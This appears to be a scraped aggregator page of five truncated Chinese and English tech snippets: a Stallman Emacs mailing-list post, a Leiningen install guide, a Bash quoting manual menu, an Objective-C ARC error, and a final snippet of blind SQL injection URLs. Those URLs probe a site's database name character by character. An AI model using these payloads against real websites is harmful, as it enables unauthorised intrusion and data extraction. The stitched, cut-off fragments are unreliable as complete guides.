標籤:Re: Generators (iterators) for Gnu EmacsFrom:Richard StallmanSubject:Re: Generators (iterators) for Gnu EmacsDate:Mon, 08 Dec 2014 15:59:22 -0500[[[ To any NSA and FBI agents reading my email: please consider ]]][[[ whether defending the US
標籤:OS: Mac OS X 10.10IDEA 14.0.2 Community Edition安裝Leiningen按照http://leiningen.org/的指南安裝lein閱讀Leiningen教程中文版瞭解leiningen如果需要使用代理,需要執行export HTTPS_PROXY=host:portexport HTTP_PROXY=host:port(當執行lein deps時,如果也需要使用代理,得export https_proxy以及export
標籤:3.1.2 Quoting-------------* Menu:* Escape Character::How to remove the special meaning from a singlecharacter.* Single Quotes::How to inhibit all interpretation of a sequenceof characters.* Double Quotes::How to suppress most of the
標籤:今天在寫程式的時候用到了數組的一個方法:[[LetterResultArr objectAtIndex:section] count],按說這隻是一個很平常的方法,但是卻報了一個錯誤:Multiple methods named ‘count:‘ found with mismatched result, parameter type or attributes,意思是方法命名衝突,編譯器找不到合適的方法用在這裡,這是在ARC環境下才會出現的問題,非ARC就沒有這個問題,解決的方法有兩個,
標籤:databasehttp://www.x.com/sections_intr.php?id=181 and length((database()))=4http://www.x.com/sections_intr.php?id=181 and ascii(substring((database()),1,1))=122 http://www.x.com/sections_intr.php?id=181 and ascii(substring((database())